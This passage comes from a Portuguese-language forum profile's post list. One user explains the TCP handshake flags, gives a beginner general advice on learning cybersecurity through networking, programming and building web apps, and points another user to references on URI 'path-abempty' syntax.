trocadas entre eles para que a conexão fosse efetuada. O que estas flags nos dizem ... O que isto mais ou menos nos diz é que o cliente ao enviar a flag SYN pede para iniciar conexão, o servidor envia resposta SYN+ACK como reconheicmento para que a conexão seja efetuada e o cliente envia finaliza com a flag ACK em que reconhece a resposta enviada pelo servidor. Isto é um handshake efetuado com python mas poderia ser com outra linguagem qualquer. Se viste algum erro já sabes o que tens que fazer :) Cumprimentos.
  23. gnoo

    Por onde começar? (cybersecurity)

    Olá @Flarton01, tudo bem !? Olha eu não trabalho na área de segurança, aliás não trabalho em qualquer área de TI, mas sou um curioso e gosto explorar alguns ambientes na àrea da informática, apesar de estar a tentar entrar na àrea do desenvolvedor web por minha conta, mas isso é outra conversa.... da minha experiência até agora, depois de ver e ouvir muitas pessoas seja em "cursos de hackers" ou de "hacking", por norma esse tipo de conteúdo, é bom no sentido que te vai ajudar a perceber como alguns ataques são feitos, e tecnicas que podem ser aplicadas, embora esse tipo de conteúdo muito raramente explica o porque dessa falha existir ( não estou a dizer que são todos assim mas, não é fácil encontrar um conteúdo que seja realmente bom), aquilo que aprendes nesse cursos basicamente é a execução de comandos no terminal talvez alguns scripts seja em python ou shell script.... já para não falar no preço absurdo que cobram por esses curso ( 1000 Reais para aprender a fazer meia duzia de comandos do nmap e metasploit ou hidra é para rir mesmo 😂) de "hacker" & "hacking", quando a maior parte desse conteúdo já está disponivel na web se souberes onde procurar e o que deves procurar. Como já te disse não sou da área de segurança, nem de TI, mas posso dizer com é que tomei conhecimento do pouco ( quase nada ) que sei... 1- Encontrar um forum deste tipo com que te identificas, e expor as tuas dúvidas 2-Aprender Redes ao mesmo tempo que aprendes programação e criar as tuas próprias ferramentas ( nunca usar metasploit, foge disso, metasploit é ruim 😋) 3-Criar uma aplicação web ( e-commerce, um simples blog, etc...) Aprende a programar, aprende bem os fundamentos, não interessa qual linguagem todas são boas, python, javascript, php, etc, CONTINUA A ESTUDAR REDES TODOS OS DIAS, aprende a programar a parte do cliente e a parte do servidor fullstack... Sim, fazer uma aplicação web vai-te dar uma visão bastante abrangente sobre o que precisas saber, vai perceber como funciona a rede e como são feitas as requisições, vai-te dar uma noção de como funciona um browser e como extrair o máximo de informação dele. Fazer uma aplicação web, vais perceber mecanismos de segurança que devem ser aplicados, logo também vais ficar a saber que tipo de falhas procurar e vas perceber o porquê daquela falha existir... vais ouvir falar em XSS, Tokens, Keys, injeção de código, redirecionamentos, injeções de SQL, etc... Vais aprender a programar a parte do servidor, vai ter contacto com bases de dados, SQL, querys. Vais alojar esse site vais perceber o que é um dominio, DNS e como ambos são configurados e como funcionam. Vais aprender cloud, configurar servidores, a sua manutenção, etc... Se já sabes tudo aquilo que foi descrito anteriormente, podes complementar com qualquer desses cursos e certificações que falaste 😉 boa sorte abraço
  24. gnoo

    O que é um "authority path-abempty" em uma sintaxe URI

    Olá @domedfd tudo bem, lê este texto primeiro até ao fim ( não sei se já viste ) https://woliveiras.com.br/posts/url-uri-qual-diferenca/ há uma questão parecida à tua no stackoverflow pode ser que ajude https://stackoverflow.com/questions/40905666/what-does-abempty-mean-in-the-term-path-abempty-in-the-context-of-rfc398 no google tradutor o que podes fazer para melhorar a tradução é traduzir um parágrafo de cada vez, dá trabalho dessa forma ...mas compensa o esforço.
×